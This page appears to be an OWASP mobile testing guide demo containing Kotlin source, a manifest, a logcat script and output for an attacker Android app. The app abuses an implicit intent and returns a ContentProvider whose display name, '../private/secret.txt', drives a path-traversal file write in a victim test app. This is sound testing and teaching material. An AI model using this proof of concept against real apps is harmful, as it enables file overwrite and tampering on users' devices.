Skip to content

MASTG-DEMO-0141: Attacker App Returning Malicious ContentProvider Filename

Download MASTG-DEMO-0141 APK Open MASTG-DEMO-0141 Folder Build MASTG-DEMO-0141 APK

Sample

The following attacker app responds to the custom implicit intent org.owasp.mastestapp.REQUEST_FILE used in the Path Traversal via Malicious ContentProvider Filename demo. When Android resolves it as a handler, its AttackerActivity returns a content:// URI pointing to its own AttackerContentProvider, which supplies a path-traversal string (../private/secret.txt) as the DISPLAY_NAME.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
package org.owasp.mastestapp

import android.app.Activity
import android.content.ContentProvider
import android.content.ContentValues
import android.content.Context
import android.content.Intent
import android.database.Cursor
import android.database.MatrixCursor
import android.net.Uri
import android.os.Bundle
import android.os.ParcelFileDescriptor
import android.util.Log
import android.view.Gravity
import android.widget.TextView
import java.io.File
import java.io.FileNotFoundException

// SUMMARY: This sample demonstrates an attacker app that returns a path-traversal filename via a ContentProvider.
class MastgTest(private val context: Context) {

    companion object {
        const val TAG = "RESULT_ATTACK"
    }

    fun mastgTest(): String {
        return "Install this app with MASTG-DEMO-0139 and select it when Android resolves REQUEST_FILE."
    }
}

class AttackerActivity : Activity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        val action = intent.action
        if (action == Intent.ACTION_MAIN) {
            val textView = TextView(this).apply {
                text = "Hello in the attacker Demo app"
                textSize = 20f
                gravity = Gravity.CENTER
                setTextColor(android.graphics.Color.BLACK)
            }
            setContentView(textView)
        } else {
            val resultIntent = Intent()
            resultIntent.data = Uri.parse("content://org.owasp.mastestapp.attacker.provider/fakeFile")
            resultIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)
            Log.e(MastgTest.TAG, "Returning URI=${resultIntent.data}")
            setResult(Activity.RESULT_OK, resultIntent)
            finish()
        }
    }
}

class AttackerContentProvider : ContentProvider() {

    override fun onCreate(): Boolean = true

    override fun query(
        uri: Uri,
        projection: Array<String>?,
        selection: String?,
        selectionArgs: Array<String>?,
        sortOrder: String?
    ): Cursor {
        Log.e(MastgTest.TAG, "Providing DISPLAY_NAME=../private/secret.txt")
        val matrixCursor = MatrixCursor(arrayOf("_display_name"))
        matrixCursor.addRow(arrayOf<Any>("../private/secret.txt"))
        return matrixCursor
    }

    @Throws(FileNotFoundException::class)
    override fun openFile(uri: Uri, mode: String): ParcelFileDescriptor {
        val cacheFile = File(context!!.cacheDir, "payload.txt")
        cacheFile.writeText("PWNED BY ATTACKER")
        Log.e(MastgTest.TAG, "Serving payload for uri=$uri")
        return ParcelFileDescriptor.open(cacheFile, ParcelFileDescriptor.MODE_READ_ONLY)
    }

    override fun getType(uri: Uri): String? = null
    override fun insert(uri: Uri, values: ContentValues?): Uri? = null
    override fun delete(uri: Uri, selection: String?, selectionArgs: Array<String>?): Int = 0
    override fun update(uri: Uri, values: ContentValues?, selection: String?, selectionArgs: Array<String>?): Int = 0
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android">

    <application android:label="Attacker App">
        <activity
            android:name=".MainActivity"
            android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <activity
            android:name=".AttackerActivity"
            android:label="Attacker Intent Interceptor"
            android:exported="true">
            <intent-filter>
                <action android:name="org.owasp.mastestapp.REQUEST_FILE" />
                <category android:name="android.intent.category.DEFAULT" />
            </intent-filter>
        </activity>

        <provider
            android:name=".AttackerContentProvider"
            android:authorities="org.owasp.mastestapp.attacker.provider"
            android:enabled="true"
            android:exported="true"
            android:grantUriPermissions="true">
        </provider>
    </application>
</manifest>

Note that this app is not inherently malicious in isolation. The vulnerability lies in the victim app trusting and using the filename returned by an external ContentProvider without sanitization.

Steps

  1. Use Installing Apps to install the victim app from Path Traversal via Malicious ContentProvider Filename.
  2. Use Installing Apps to install this attacker app on the same device.
  3. Launch the victim app and tap Start to trigger the file request.
  4. If Android presents a resolver for REQUEST_FILE, select this attacker app.
  5. Run run.sh to capture the returned URI and provider metadata from logcat.
run.sh
1
2
3
#!/bin/bash
# SUMMARY: This script captures the returned URI and provider metadata from logcat.
adb logcat -d -s RESULT_ATTACK > output.txt

Observation

The attacker app logs the returned URI, the provider-controlled display name, and the payload served through the returned content:// URI:

output.txt
1
2
3
4
--------- beginning of main
06-20 13:03:18.380 22903 22903 E RESULT_ATTACK: Returning URI=content://org.owasp.mastestapp.attacker.provider/fakeFile
06-20 13:03:18.408 22903 22917 E RESULT_ATTACK: Providing DISPLAY_NAME=../private/secret.txt
06-20 13:03:18.414 22903 22917 E RESULT_ATTACK: Serving payload for uri=content://org.owasp.mastestapp.attacker.provider/fakeFile

Evaluation

The test case fails because Path Traversal via Malicious ContentProvider Filename accepts provider-controlled data returned by this attacker app and uses it in a file write without validation.

The output confirms that the attacker app returned a content:// URI and supplied ../private/secret.txt as OpenableColumns.DISPLAY_NAME.

When the victim app receives this result, it queries the returned provider, trusts the provider-controlled filename, and uses it to build a destination File under its filesDir/public/ directory. Because the filename contains ../, the resulting path escapes the intended public/ directory and points to files/private/secret.txt.

The attacker app therefore controls both the file content served through the returned URI and the filename metadata that drives the victim app's write location.